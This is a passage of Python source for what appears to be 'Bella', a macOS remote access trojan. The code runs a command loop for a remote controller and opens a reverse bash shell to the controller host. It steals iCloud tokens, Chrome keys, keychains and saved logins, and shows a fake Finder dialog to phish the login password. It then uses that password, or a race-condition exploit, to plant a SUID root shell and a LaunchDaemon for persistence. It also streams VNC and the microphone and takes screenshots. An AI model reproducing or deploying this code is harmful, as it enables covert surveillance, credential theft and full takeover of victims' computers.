1302 send_msg("%sNo iOS backups are present.\n" % red_minus, False)
1303
1304 if os.access('/var/db/lockdown', os.X_OK): #if we can execute this path
1305 send_msg("%siOS lockdown files are present. [%s]\n" % (greenPlus, len(os.listdir("/var/db/lockdown")) - 1), False)
1306
1307 checkToken = tokenRead()
1308 if isinstance(checkToken, str):
1309 send_msg("%siCloud AuthToken: %s\n\t[%s]\n" % (yellow_star, checkToken.split('\n')[0], checkToken.split('\n')[1]), False)
1310
1311 checkChrome = chromeSSRead()
1312 if isinstance(checkChrome, str):
1313 send_msg("%sGoogle Chrome Safe Storage Key: \n\t[%s]\n" % (yellow_star, checkChrome), False)
1314
1315 checkLP = local_pw_read()
1316 if isinstance(checkLP, str):
1317 send_msg("%s%s's local account password is available.\n" % (yellow_star, checkLP.split(':')[0]), False) #get username
1318 if not readDB('mme_token'):
1319 send_msg("\t%sAttempting to generate iCloud Auth Keys with local password.\n" % blue_star, False)
1320 iCloud = chainbreaker(kchain, 0, 'iCloud', checkLP.split(':')[1])
1321 send_msg("\t%siCloud:\n\t [%s]\n" % (yellow_star, iCloud[0]), False)
1322 if iCloud[1]:
1323 send_msg("\t%sGot iCloud Key! Decrypting plist.\n" % yellow_star, False)
1324 decrypted = kciCloudHelper(iCloud[0])
1325 if not decrypted:
1326 send_msg("\t%sError getting decrypted MMeAuthTokens with local password.\n" % red_minus, False)
1327 else:
1328 send_msg("\t%sDecrypted. Updating Bella database.\n" % blue_star, False)
1329 updateDB(encrypt(decrypted), 'mme_token')
1330 send_msg("\t%sUpdated DB.\n\t --------------\n" % greenPlus, False)
1331 if not readDB('chromeSS'):
1332 send_msg("\t%sAttempting to generate Chrome Safe Storage Keys.\n" % blue_star, False)
1333 chrome = chainbreaker(kchain, 0, 'Chrome Safe Storage', checkLP.split(':')[1])
1334 send_msg("\t%sChrome:\n\t [%s]\n" % (yellow_star, chrome[0]), False)
1335 if chrome[1]:
1336 send_msg("\t%sGot Chrome Key! Updating Bella DB.\n" % yellow_star, False)
1337 updateDB(encrypt(chrome[0]), 'chromeSS')
1338 send_msg("\t%sUpdated DB.\n" % greenPlus, False)
1339
1340
1341 checkAP = applepwRead()
1342 if isinstance(checkAP, str):
1343 send_msg("%s%s's iCloud account password is available.\n" % (yellow_star, checkAP.split(':')[0]), False)
1344 send_msg('', True)
1345 return 1
1346
1347def recv_msg(sock):
1348 raw_msglen = recvaux(sock, 4, True) #get first four bytes of message, will be enough to represent length.
1349 if not raw_msglen:
1350 return None
1351 msglen = struct.unpack('>I', raw_msglen)[0] #convert this length into
1352 return recvaux(sock, msglen, False)
1353
1354def recvaux(sock, n, length):
1355 if length:
1356 return sock.recv(4) # send over first 4 bytes of socket ....
1357 data = ''
1358 while len(data) < n:
1359 packet = sock.recv(n - len(data))
1360 if not packet:
1361 return None
1362 data += packet
1363 return data #convert from serialized into normal.
1364
1365def make_SUID_root_binary(password, LPEpath):
1366 global ROOT_SHELL_PATH
1367 root_shell = readDB("root_shell", True)
1368 try:
1369 with open("/usr/local/roots", "w") as content:
1370 content.write(root_shell.decode('base64'))
1371 ROOT_SHELL_PATH = '/usr/local/roots'
1372 except IOError as e:
1373 if e.errno == 13:
1374 #for whatever reason we can write to /usr/local (domain environments typically)
1375 with open(os.environ['TMPDIR'] + 'roots', "w") as content:
1376 content.write(root_shell.decode('base64'))
1377 ROOT_SHELL_PATH = os.environ['TMPDIR'] + 'roots'
1378 else:
1379 raise IOError
1380 if not LPEpath: #use password
1381 (username, password) = password.split(':')
1382 try:
1383 subprocess.check_output("echo %s | sudo -S ls" % password, shell=True) #this will return no error if successfull
1384 except Exception as e:
1385 return (False, "%sUser's local password does not give us sudo access!\n" % red_minus)
1386 try:
1387 subprocess.check_output("echo %s | sudo -S chown 0:0 %s; echo %s | sudo -S chmod 4777 %s" % (password, ROOT_SHELL_PATH, password, ROOT_SHELL_PATH), shell=True) #perform setUID on shell
1388 except Exception as e:
1389 return (False, "%sUser's local password gives us sudo access!\n%sThere was an error setting the SUID bit.\n[%s]\n" % (greenPlus, red_minus, e))
1390 return (True, "%sUser's local password gives us sudo access!\n%sSUID root file written to %s!\n" % (blue_star, greenPlus, ROOT_SHELL_PATH))
1391 else:
1392 #LPEpath should be a path to an interactive root shell (thinking mach race)
1393 #### IF THIS LINE IS STILL HERE, THEN THIS MACH RACE / LPE DOES NOT WORK. Code needs to be added to actually install the shell ####
1394 cur_dir = os.getcwd()
1395 os.chdir('%s' % LPEpath)
1396 fugazy = subprocess.Popen("./root_shell.sh <<< 'chown 0:0 %s; chmod 4777 %s'" % (ROOT_SHELL_PATH,ROOT_SHELL_PATH), shell=True, stdout=PIPE, stderr=PIPE)
1397 os.chdir(cur_dir)
1398 error = fugazy.stderr.read()
1399 if not 'traceroute6: invalid wait time' in error: #perform setUID on shell
1400 return (True, "%sUser is susceptible to LPE!\n%sSUID root file written to %s!\n" % (blue_star, greenPlus, ROOT_SHELL_PATH))
1401 else:
1402 remove_SUID_shell()
1403 return (False, "%sUser is susceptible to LPE!\n%sThere was an error setting the SUID bit and escalating.\n[%s]\n" % (greenPlus, red_minus, error.replace('\n', '')))
1404
1405def migrateToRoot(rootsPath):
1406 #precondition to this function call is that a root shell exists at /usr/local/roots and that os.getuid != 0
1407 #therefore, we will not use the do_root() function, and will instead call the roots binary directly.
1408 #we do this because we want full control over what happens. The migration is a critical process
1409 #no room for error. an error could break our shell.
1410 ### in order to test this function in development, bella must be installed through the INSTALLER script generated by BUILDER
1411
1412 relativeBellaPath = '/' + '/'.join(get_bella_path().split("/")[3:])
1413
1414 if not os.path.isfile('%sbella.db' % get_bella_path()): #if we can execute this path
1415 send_msg("Migration aborted. Could not find bella.db in\n\t[%s]" % get_bella_path(), False)
1416 return
1417 if not os.path.isfile('%sBella' % get_bella_path()): #if we can execute this path
1418 send_msg("%sMigration halted. Could not find Bella binary in:\n\t[%s].\n" % (red_minus, get_bella_path()), False)
1419 return
1420 if not os.path.isfile('/Users/%s/Library/LaunchAgents/%s.plist' % (get_bella_user(), launch_agent_name)): #if we can execute this path
1421 send_msg("%sMigration halted. Could not find LaunchAgent in:\n\t[/Users/%s/Library/LaunchAgents/%s.plist].\n" % (red_minus, get_bella_user(), launch_agent_name), False)
1422 return
1423
1424 """Create new bella location in /Library"""
1425 error = Popen("%s \"mkdir -p '%s'\"" % (rootsPath, relativeBellaPath), shell=True, stdout=PIPE, stderr=PIPE).stderr.read()
1426 if error != '':
1427 send_msg("%sError creating path:\n\t%s" % (red_minus, error), False)
1428 return
1429 else:
1430 send_msg("%sCreated path '%s'.\n" % (blue_star, relativeBellaPath), False)
1431
1432 """Copy bella database from current helper_location to new one in /Library"""
1433 error = Popen("%s \"cp '%sbella.db' '%sbella.db'\"" % (rootsPath, get_bella_path(), relativeBellaPath), shell=True, stdout=PIPE, stderr=PIPE).stderr.read()
1434 if error != '':
1435 send_msg("%sError copying Bella DB:\n\t%s" % (red_minus, error), False)
1436 return
1437 else:
1438 send_msg("%sCopied Bella DB '%sbella.db' to '%sbella.db'.\n" % (blue_star, get_bella_path(), relativeBellaPath), False)
1439
1440 """Copy bella binary from current helper_location to new one in /Library"""
1441 error = Popen("%s \"cp '%sBella' '%sBella'\"" % (rootsPath, get_bella_path(), relativeBellaPath), shell=True, stdout=PIPE, stderr=PIPE).stderr.read()
1442 if error != '':
1443 send_msg("%sError copying Bella binary:\n\t%s" % (red_minus, error), False)
1444 return
1445 else:
1446 send_msg("%sCopied Bella binary '%sBella' to '%sBella'.\n" % (blue_star, get_bella_path(), relativeBellaPath), False)
1447
1448 """Copy bella launch_agent_name from current one to new one in /Library/LaunchDaemons"""
1449 error = Popen("%s \"cp '/Users/%s/Library/LaunchAgents/%s.plist' '/Library/LaunchDaemons/%s.plist'\"" % (rootsPath, get_bella_user(), launch_agent_name, launch_agent_name), shell=True, stdout=PIPE, stderr=PIPE).stderr.read()
1450 if error != '': #cp bella db to /Library (root location)
1451 send_msg("%sError copying launchagent '/Users/%s/Library/LaunchAgents/%s.plist' to '/Library/LaunchDaemons/%s.plist'.\n" % (red_minus, get_bella_user(), launch_agent_name, launch_agent_name), False)
1452 return
1453 else:
1454 send_msg("%sCopied launchagent '/Users/%s/Library/LaunchAgents/%s.plist' to '/Library/LaunchDaemons/%s.plist'.\n" % (blue_star, get_bella_user(), launch_agent_name, launch_agent_name), False)
1455
1456 """Replace path to bella binary in the new launchDaemon"""
1457 error = Popen("%s \"sed -i \'\' -e 's@/Users/%s/Library/@/Library/@' /Library/LaunchDaemons/%s.plist\"" % (rootsPath, get_bella_user(), launch_agent_name), shell=True, stdout=PIPE, stderr=PIPE).stderr.read()
1458 if error != '':
1459 send_msg("%sError replacing LaunchDaemon in line:\n\t%s" % (red_minus, error), False)
1460 return
1461 else:
1462 send_msg("%sReplaced LaunchDaemon in line.\n" % blue_star, False)
1463
1464 """Load new LaunchDaemon and then 'delete' the server"""
1465 error = Popen("%s \"launchctl load -w /Library/LaunchDaemons/%s.plist\"" % (rootsPath, launch_agent_name), shell=True, stdout=PIPE, stderr=PIPE).stderr.read()
1466 if 'service already loaded' not in error and error != '':
1467 send_msg("%sError loading LaunchDaemon:\n\t%s" % (red_minus, error), False)
1468 return
1469 else:
1470 send_msg("%sLoaded LaunchDaemon.\n" % blue_star, False)
1471
1472 send_msg("%sRemoving current server.\n" % yellow_star, False)
1473 removeServer()
1474 return
1475
1476def removeServer():
1477 subprocess_cleanup()
1478 destroyer = "rm -rf %s" % get_bella_path()
1479 if os.getuid() == 0:
1480 destroyer += "; rm -f /Library/LaunchDaemons/%s.plist" % (launch_agent_name)
1481 else:
1482 destroyer += "; rm -f /Users/%s/Library/LaunchAgents/%s.plist" % (get_bella_user(), launch_agent_name)
1483 os.system(destroyer)
1484 send_msg("Server destroyed.\n", True)
1485 unloader = "launchctl remove %s" % launch_agent_name
1486 os.system(unloader)
1487
1488def rooter(): #ROOTER MUST BE CALLED INDEPENDENTLY -- Equivalent to getsystem
1489 if os.getuid() == 0:
1490 send_msg("%sWe are already root.\n" % yellow_star, True)
1491 return
1492 else:
1493 send_msg("%sWe are not root. Attempting to root.\n" % blue_star, False)
1494
1495 sys_vers = str(platform.mac_ver()[0])
1496 if is_there_SUID_shell():
1497 migrateToRoot(ROOT_SHELL_PATH)
1498 send_msg('', True)
1499 return
1500
1501 if local_pw_read():
1502 send_msg("%sLocal PW present.\n" % greenPlus, False)
1503 ### We have a local password, let us try to use it to get a root shell ###
1504 binarymake = make_SUID_root_binary(local_pw_read(), None)
1505 send_msg(binarymake[1], False)
1506 if binarymake[0]:
1507 #updateDB('local user password', 'rootedMethod')
1508 #send_msg('', True)
1509 migrateToRoot(ROOT_SHELL_PATH)
1510 send_msg('', True)
1511 return
1512 else:
1513 send_msg("%sNo user password found. Run 'phish_user_pass' to phish this. It should give us root.\n" % red_minus, False)
1514
1515 if sys_vers.startswith("10.8") or sys_vers.startswith("10.9") or sys_vers.startswith("10.10") or sys_vers == ("10.11") or sys_vers == ("10.11.1") or sys_vers == ("10.11.2") or sys_vers == ("10.11.3"):
1516 zipped = readDB('mach_race', True)
1517 paths = payload_generator(zipped)
1518 dirs = '/'.join(paths.split('/')[:-1]) + '/'
1519 os.system("unzip %s -d %s" % (paths, dirs))
1520 send_msg("unzip %s -d %s\n\n" % (paths, dirs), False)
1521 root_escalate = '%sexecuter/' % dirs
1522 binarymake = make_SUID_root_binary(None, root_escalate)
1523 if binarymake[0]:
1524 #updateDB('local privilege escalation', 'rootedMethod')
1525 send_msg(binarymake[1], False)
1526 migrateToRoot(ROOT_SHELL_PATH)
1527 send_msg('', True)
1528 return
1529 else:
1530 send_msg(binarymake[1], True)
1531 remove_SUID_shell()
1532 return
1533 send_msg("%sLocal privilege escalation not implemented for OSX %s\n" % (red_minus, sys_vers), True)
1534 return
1535
1536def start_interactive_shell(shell_port):
1537 shelled = subprocess.Popen("python -c \"import sys,socket,os,pty; _,ip,port=('', '%s', '%s'); s=socket.socket(); s.connect((ip,int(port))); [os.dup2(s.fileno(),fd) for fd in (0,1,2)]; pty.spawn('/bin/bash')\"" % (host, shell_port), shell=True, stderr=subprocess.PIPE, stdout=subprocess.PIPE )
1538 time.sleep(1)
1539 if shelled.poll():
1540 send_msg("%sFailed to start interactive shell.\nError: [%s]\n" % (red_minus, shelled.stderr.read().replace('\n', '')), True)
1541 else:
1542 send_msg('interactive_shell_init', True)
1543 return
1544
1545def tokenFactory(authCode):
1546 #now that we have proper b64 encoded auth code, we will attempt to get all account tokens.
1547 try:
1548 req = urllib2.Request("https://setup.icloud.com/setup/get_account_settings")
1549 req.add_header('Authorization', 'Basic %s' % authCode)
1550 req.add_header('Content-Type', 'application/xml') #for account settings it appears we cannot use json. type must be specified.
1551 req.add_header('X-MMe-Client-Info', '<iPhone6,1> <iPhone OS;9.3.2;13F69> <com.apple.AppleAccount/1.0 (com.apple.Preferences/1.0)>') #necessary header to get tokens.
1552 resp = urllib2.urlopen(req)
1553 content = resp.read()
1554 tokens = []
1555 #staple it together & call it bad weather
1556 accountInfo = []
1557 accountInfo.append(plistlib.readPlistFromString(content)["appleAccountInfo"]["fullName"] + " | " + plistlib.readPlistFromString(content)["appleAccountInfo"]["appleId"] + " | " + plistlib.readPlistFromString(content)["appleAccountInfo"]["dsPrsID"])
1558
1559 try:
1560 tokens.append(plistlib.readPlistFromString(content)["tokens"]["mmeAuthToken"])
1561 except:
1562 pass
1563 try:
1564 tokens.append(plistlib.readPlistFromString(content)["tokens"]["cloudKitToken"])
1565 except:
1566 pass
1567 try:
1568 tokens.append(plistlib.readPlistFromString(content)["tokens"]["mmeFMFAppToken"])
1569 except:
1570 pass
1571 try:
1572 tokens.append(plistlib.readPlistFromString(content)["tokens"]["mmeFMIPToken"])
1573 except:
1574 pass
1575 try:
1576 tokens.append(plistlib.readPlistFromString(content)["tokens"]["mmeFMFToken"])
1577 except:
1578 pass
1579
1580 return (tokens, accountInfo)
1581 except Exception, e:
1582 return '%s' % e
1583
1584def tokenForce():
1585 token = tokenRead()
1586 if token != False:
1587 send_msg("%sFound already generated token!%s\n%s" % (blue_star, blue_star, token), True)
1588 return 1
1589 while True: #no token exists, begin blast
1590 ### switch out for chain breaker
1591 from Foundation import NSData, NSPropertyListSerialization
1592 ### CTRLC listener
1593 if sig_int_listener(): #user hit CTRLC, cancel.
1594 return
1595 kchain = getKeychains()
1596 send_msg("%sUsing [%s] as keychain.\n" % (yellow_star, kchain), False)
1597
1598 iCloudKey = check_output("launchctl asuser %s security find-generic-password -ws 'iCloud' '%s'" % (bella_UID, kchain))
1599 if not iCloudKey[0]:
1600 if 51 == iCloudKey[2]:
1601 send_msg("%sUser clicked deny.\n" % red_minus, False)
1602 continue
1603 elif 44 == iCloudKey[2]:
1604 send_msg("%sNo iCloud Key Found!\n" % red_minus, True)
1605 return 0
1606 else:
1607 send_msg("Strange error [%s]\n" % iCloudKey[1], True)
1608 return 0
1609 iCloudKey = iCloudKey[1].replace('\n', '')
1610
1611 msg = base64.b64decode(iCloudKey)
1612 key = "t9s\"lx^awe.580Gj%'ld+0LG<#9xa?>vb)-fkwb92[}"
1613 hashed = hmac.new(key, msg, digestmod=hashlib.md5).digest()
1614 hexedKey = binascii.hexlify(hashed)
1615 IV = 16 * '0'
1616 mme_token_file = glob("/Users/%s/Library/Application Support/iCloud/Accounts/*" % get_bella_user()) #this doesnt need to be globber bc only current user's info can be decrypted
1617 for x in mme_token_file:
1618 try:
1619 int(x.split("/")[-1])
1620 mme_token_file = x
1621 except ValueError:
1622 continue
1623 send_msg("%sDecrypting token plist\n\t[%s]\n" % (blue_star, mme_token_file), False)
1624 decryptedBinary = subprocess.check_output("openssl enc -d -aes-128-cbc -iv '%s' -K %s < '%s'" % (IV, hexedKey, mme_token_file), shell=True)
1625 binToPlist = NSData.dataWithBytes_length_(decryptedBinary, len(decryptedBinary))
1626 token_plist = NSPropertyListSerialization.propertyListWithData_options_format_error_(binToPlist, 0, None, None)[0]
1627 tokz = "[%s | %s]\n" % (token_plist["appleAccountInfo"]["primaryEmail"], token_plist["appleAccountInfo"]["fullName"])
1628 tokz += "%s:%s\n" % (token_plist["appleAccountInfo"]["dsPrsID"], token_plist["tokens"]["mmeAuthToken"])
1629 logged = updateDB(encrypt(tokz.decode('utf-8').encode('ascii', 'ignore')), 'mme_token') #update the DB....
1630 send_msg(tokz, True)
1631 return 1
1632
1633def tokenRead():
1634 token = readDB('mme_token')
1635 if not token:
1636 return token
1637 return decrypt(token)
1638
1639def chromeSSRead():
1640 sskey = readDB('chromeSS')
1641 if not sskey:
1642 return sskey
1643 return decrypt(sskey)
1644
1645def local_pw_read():
1646 pw = readDB('localPass')
1647 if not pw:
1648 return pw
1649 return decrypt(pw)
1650
1651def applepwRead():
1652 pw = readDB('applePass')
1653 if not pw:
1654 return pw
1655 return decrypt(pw)
1656
1657def set_client_name(name):
1658 updateDB(name, 'client_name')
1659 return 'updated_client_name:::%s:::%sUpdated client name to [%s].\n' % (name, blue_star, name)
1660
1661def screenShot():
1662 screen = os.system("screencapture -x /tmp/screen")
1663 try:
1664 with open("/tmp/screen", "r") as shot:
1665 contents = base64.b64encode(shot.read())
1666 os.remove("/tmp/screen")
1667 return "screenCapture%s" % contents
1668 except IOError:
1669 return "screenCapture%s" % "error"
1670
1671def send_msg(msg, EOF):
1672 global bella_connection
1673 if isinstance(msg, unicode):
1674 msg = msg.encode('utf-8')
1675 final_msg = struct.pack('>I', len(msg)) + struct.pack('?', EOF) + msg
1676 bella_connection.sendall(final_msg)
1677
1678def getWifi():
1679 ssid = subprocess.Popen("/System/Library/PrivateFrameworks/Apple80211.framework/Versions/Current/Resources/airport -I", stdout=subprocess.PIPE, stderr=subprocess.PIPE, shell=True)
1680 try:
1681 value = ssid.stdout.read().split('SSID: ')[-1].split('\n')[0] + ssid.stderr.read()
1682 except Exception as e:
1683 value = "AirPort: Off"
1684 return value
1685
1686def sig_int_listener():
1687 global bella_connection
1688 print 'Listener called'
1689 ### CTRLC listener
1690 bella_connection.settimeout(0.0)
1691 try: #SEE IF WE HAVE INCOMING MESSAGE MID LOOP
1692 print 'Checking for messge'
1693 if recv_msg(bella_connection) == 'sigint9kill':
1694 print 'Got message'
1695 sys.stdout.flush()
1696 send_msg('terminated', True) #send back confirmation along with STDERR
1697 print 'Sent terminator.'
1698 bella_connection.settimeout(None)
1699 return True
1700 except socket.error as e: #no message, business as usual
1701 pass
1702 bella_connection.settimeout(None)
1703 return False
1704
1705def user_pass_phish():
1706 userTB = cur_GUI_user()
1707 wifiNetwork = getWifi()
1708 icon = readDB('lock_icon', True)
1709 if not icon:
1710 send_msg('Error generating lock icon, using system default.\n')
1711 path = ':System:Library:CoreServices:CoreTypes.bundle:Contents:Resources:Actions.icns'
1712 else:
1713 path = payload_generator(icon).replace("/", ":")
1714 send_msg("Attempting to phish current GUI User [%s]\n" % userTB, False)
1715 while True:
1716 if sig_int_listener(): #user hit CTRLC, cancel.
1717 return
1718 check = local_pw_read()
1719 if isinstance(check, str):
1720 send_msg("%sAccount password already found:\n%s\n" % (blue_star, check.replace("\n", "")), True)
1721 return 1
1722 #os.system("networksetup -setairportpower en0 off") We can't disable Wi-Fi actually, bc then we lose our connection
1723 script = "launchctl asuser %s osascript -e 'tell app \"Finder\" to activate' -e 'tell app \"Finder\" to display dialog \"Could not find password to the network \\\"%s\\\". To access the network password please enter your keychain [login] password.\" default answer \"\" buttons {\"Always Allow\", \"Deny\", \"Allow\"} with icon file \"%s\" with hidden answer giving up after 15'" % (bella_UID, wifiNetwork, path) #with title \"Network Connection\" giving up after 15'" % wifiNetwork
1724 out = subprocess.check_output(script, shell=True)
1725 password = out.split("text returned:")[-1].replace("\n", "").split(", gave up")[0]
1726 send_msg("%sUser has attempted to use password: [%s]\n" % (blue_star, password), False)
1727 if password == "":
1728 continue
1729 if verifyPassword(userTB, password):
1730 send_msg("%sVerified! Account password is: [%s]%s\n" % (greenPlus, password, endANSI), False)
1731 subprocess_cleanup()
1732 updateDB(encrypt("%s:%s" % (userTB, password)), 'localPass') #store encrypted pass in DB
1733 #os.system("networksetup -setairportpower en0 on") #enable Wi-Fi
1734 send_msg("%sUsing this password to root Bella.\n" % yellow_star, False)
1735 rooter()
1736 return 1
1737 else:
1738 send_msg("%sUser input: [%s] failed. Trying again.\n" % (red_minus, password), False)
1739 return 1 #this should never get here, while loop should continue indefinitely.
1740
1741def verifyPassword(username, password):
1742 try:
1743 output = subprocess.check_output("dscl /Local/Default -authonly %s %s" % (username, password), shell=True)
1744 return True
1745 except:
1746 return False
1747
1748def vnc_start(vnc_port):
1749 send_msg('%sOpening VNC Connection.\n' % blue_star, False)
1750 if readDB('vnc', True):
1751 payload_path = payload_generator(readDB('vnc', True))
1752 else:
1753 return "%sNo VNC payload was found"
1754 pipe = subprocess.Popen('%s -connectHost %s -connectPort %s -rfbnoauth -disableLog' % (payload_path, host, vnc_port), shell=True, stderr=subprocess.PIPE)
1755 subprocess_manager(pipe.pid, '/'.join(payload_path.split('/')[:-1]), 'VNC')
1756 send_msg('%sOpened VNC [%s].\n' % (blue_star, pipe.pid), False)
1757 send_msg('%sOpening Stream.\n' % blue_star, False)
1758 time.sleep(2)
1759 send_msg("%sStarted VNC stream over -> %s:%s\n" % (blue_star, host, vnc_port), True)
1760 return 0
1761
1762def get_bella_path():
1763 return helper_location
1764
1765def get_bella_user():
1766 return bella_user
1767
1768def bella(*Emma):
1769 ### We start with having bella only work for the user who initially runs it ###
1770 ### For now, we will assume that the initial user to run Bella is NOT root ###
1771 ### This assumption is made bc if we have a root shell, we likely have a user shell ###
1772 ###set global whoami to current user, this will be stored as the original user in DB
1773 global bella_connection
1774
1775 if not os.path.isdir(get_bella_path()):
1776 os.makedirs(get_bella_path())
1777 creator = createDB() #createDB will reference the global whoami
1778 if not creator[0]:
1779 print "ERROR CREATING DATABASE %s" % creator[1]
1780 pass
1781
1782 os.chdir("/Users/%s/" % get_bella_user())
1783
1784 if readDB('lastLogin') == False: #if it hasnt been set
1785 updateDB('Never', 'lastLogin')
1786
1787 if not isinstance(get_model(), str): #if no model, put it in
1788 output = check_output("sysctl hw.model")
1789 if output[0]:
1790 modelRaw = output[1].split(":")[1].replace("\n", "").replace(" ", "")
1791 output = check_output("/usr/libexec/PlistBuddy -c 'Print :\"%s\"' /System/Library/PrivateFrameworks/ServerInformation.framework/Versions/A/Resources/English.lproj/SIMachineAttributes.plist | grep marketingModel" % modelRaw)
1792 if not output[0]:
1793 model = 'Macintosh'
1794 else:
1795 model = output[1].split("=")[1][1:] #get everything after equal sign, and then remove first space.
1796 updateDB(model, 'model')
1797
1798 while True:
1799 subprocess_cleanup()
1800 print "Starting Bella"
1801 #rooter(). try to get root automatically. uncomment this line, if you want to run bella on say, a Guest account, and have it automatically escalate to root (via LPE) without you having to do anything.
1802 #create encrypted socket.
1803 sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
1804 sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
1805 sock.settimeout(None)
1806 bella_connection = ssl.wrap_socket(sock, ssl_version=ssl.PROTOCOL_TLSv1, cert_reqs=ssl.CERT_NONE)
1807
1808 try:
1809 print 'Connecting'
1810 bella_connection.connect((host,port))
1811 print 'Connected'
1812 except socket.error as e:
1813 if e[0] == 61:
1814 print 'Connection refused.'
1815 pass
1816 else:
1817 print 'No connection: %s' % e
1818 pass
1819 time.sleep(5)
1820 continue
1821
1822 print 'Listener active, server connected'
1823 while True:
1824 try:
1825 remove_SUID_shell() #remove if it exists
1826 print '%sAwaiting%s Data' % (yellow, endANSI)
1827 data = recv_msg(bella_connection)
1828 print '%sReceived%s Data' % (green, endANSI)
1829 if not data:
1830 print 'Control disconnected'
1831 break #start listening again.
1832 elif data.startswith('cd'):
1833 path = data[3:]
1834 try:
1835 if path.startswith("~"):
1836 os.chdir(os.path.expanduser(path))
1837 else:
1838 os.chdir(path)
1839 files = []
1840 for x in os.listdir(os.getcwd()):
1841 if not x.startswith('.'):
1842 files.append(x)
1843 stdout_val = '\n'.join(files)
1844 send_msg("cwdcwd%s\n%s" % (os.getcwd(), stdout_val), True)
1845 except OSError, e:
1846 if e[0] == 2:
1847 send_msg("%sNo such file or directory.\n" % red_minus, True)
1848 else:
1849 send_msg("%sError\n%s\n" % (red_minus, e), True)
1850
1851 elif data == 'ls': #will be our default ls handler
1852 fileList = [] #this will be used for autocompletion.
1853 filePrint = []
1854 for x in os.listdir(os.getcwd()):
1855 if not x.startswith('.') and x != "Icon\r":
1856 fileList.append(x)
1857 for x in sorted(fileList):
1858 try:
1859 perm = oct(os.stat(x).st_mode)[-3:]
1860 timestamp = time.strftime("%h %e %H:%M", time.localtime(os.lstat(x).st_mtime))
1861 size = byte_convert(os.lstat(x).st_size)
1862 hardlinks = str(os.lstat(x).st_nlink)
1863 isDirectory = stat.S_ISDIR(os.lstat(x).st_mode)
1864 if isDirectory:
1865 dirString = "d"
1866 else:
1867 dirString = "-"
1868 isExecutable = False
1869 if '1' in perm or '3' in perm or '7' in perm:
1870 isExecutable = True
1871 owner = pwd.getpwuid(os.lstat(x).st_uid).pw_name
1872 group = grp.getgrgid(os.lstat(x).st_gid).gr_name
1873 permList = {"0": "---", "1": "--x", "2": "-w-", "3": "-wx", "4": "r--", "5": "r-x", "6": "rw-", "7": "rwx"}
1874 permString = "%s%s%s" % (permList["%s" % perm[0]], permList["%s" % perm[1]], permList["%s" % perm[2]] )
1875 if isDirectory:
1876 x = "%s%s%s/" % (light_blue, x, endANSI)
1877 elif isExecutable:
1878 x = "%s%s%s%s*" % (dark_green, bold, x, endANSI)
1879 else:
1880 pass
1881 fileData = [dirString + permString, hardlinks, owner, group, size, timestamp, x]
1882 filePrint.append(fileData)
1883 except:
1884 pass
1885 send_msg('lserlser' + pickle.dumps((fileList, filePrint)), True)
1886
1887 elif data == 'quit' or data == 'exit':
1888 send_msg("Exit", True)
1889 elif data == "initializeSocket":
1890 send_msg(initialize_socket(), True)
1891 elif data.startswith("payload_response_SBJ29"):
1892 payloads_encoded = data.split(':::')[1]
1893 print 'Got payloads! %s' % payloads_encoded[:20]
1894 print 'Creating DB from these payloads'
1895 if inject_payloads(payloads_encoded):
1896 send_msg('Injected payloads into Bella.\n', False)
1897 print 'Injected'
1898 else:
1899 send_msg('Error injecting payloads', False)
1900 print 'Error injecting payloads'
1901 send_msg(initialize_socket(), True)
1902 elif data == "iCloud_token":
1903 tokenForce()
1904 elif data == "insomnia_load":
1905 send_msg(insomnia_load(), True)
1906 elif data == "insomnia_unload":
1907 send_msg(insomnia_unload(), True)
1908 elif data == "manual":
1909 send_msg(manual(), True)
1910 elif data == "screen_shot":
1911 send_msg(screenShot(), True)
1912 elif data.startswith("update_server"):
1913 send_msg("%sAttempting to update server!\n" % yellow_star, False)
1914 send_msg(update_server(pickle.loads(data[13:])), True)
1915 elif data == "chrome_safe_storage":
1916 chrome_safe_storage()
1917 elif data == "check_backups":
1918 send_msg(iTunes_backup_looker()[0], True)
1919 elif data == "keychain_download":
1920 send_msg(keychain_download(), True)
1921 elif data == "iCloud_phish":
1922 check = applepwRead()
1923 if isinstance(check, str):
1924 send_msg("%sAlready have an apple pass.\n%s\n" % (blue_star, check), True)
1925 else:
1926 send_msg("appleIDPhishHelp" + appleIDPhishHelp(), True)
1927 elif data.startswith("iCloudPhishFinal"):
1928 appleIDPhish(data[16:].split(":")[0], data[16:].split(":")[1])
1929 elif data == "user_pass_phish":
1930 user_pass_phish()
1931 elif data.startswith("disableKM"):
1932 send_msg(disable_keyboard_mouse(data[9:]), True)
1933 elif data.startswith("enableKM"):
1934 send_msg(enable_keyboard_mouse(data[8:]), True)
1935 elif data == "reboot_server":
1936 send_msg(os.kill(bellaPID, 9), True)
1937 elif data == "current_users":
1938 send_msg('\033[4mCurrently logged in users:\033[0m\n%s' % check_current_users(), True)
1939 elif data == "bella_info":
1940 bella_info()
1941 elif data == "get_root":
1942 rooter()
1943 elif data == 'mike_stream':
1944 time.sleep(3)
1945 reader = readDB('microphone', True)
1946 if not reader:
1947 send_msg('%sError reading Microphone payload from Bella DB.\n' % red_minus, True)
1948 else:
1949 path = payload_generator(reader)
1950 mike_helper(path)
1951 elif data == "chrome_dump":
1952 checkChrome = chromeSSRead()
1953 if isinstance(checkChrome, str):
1954 safe_storage_key = checkChrome
1955 login_data = glob("/Users/%s/Library/Application Support/Google/Chrome/*/Login Data" % get_bella_user()) #dont want to do all
1956 for x in login_data:
1957 chrome_dump(safe_storage_key, x)
1958 send_msg('', True)
1959 else:
1960 send_msg("%sNo Chrome Safe Storage Key found!\n" % red_minus, True)
1961
1962 elif data == "iCloud_FMIP":
1963 (username, password, usingToken) = iCloud_auth_process(False)
1964 if password == False: #means we couldnt get any creds
1965 send_msg(username, True) #send reason why
1966 else:
1967 if usingToken:
1968 send_msg("%sCannot locate iOS devices with only a token. Run iCloudPhish if you would like to phish the user for their iCloud Password.\n" % red_minus, True)
1969 else:
1970 FMIP(username, password)
1971
1972 elif data == "iCloud_read":
1973 key = "%sThere is no iCloud ID available.\n" % red_minus
1974 check = applepwRead()
1975 if isinstance(check, str):
1976 key = applepwRead() + "\n"
1977 send_msg(key, True)
1978
1979 elif data == "lpw_read":
1980 key = "%sThere is no local account available.\n" % red_minus
1981 check = local_pw_read()
1982 if isinstance(check, str):
1983 key = "%s\n" % check
1984 send_msg(key, True)
1985
1986 elif data.startswith("mitm_start"):
1987 interface = data.split(":::")[1]
1988 cert = data.split(":::")[2]
1989 mitm_start(interface, cert)
1990
1991 elif data.startswith("mitm_kill"):
1992 interface = data.split(":::")[1]
1993 certsha1 = data.split(":::")[2]
1994 mitm_kill(interface, certsha1)
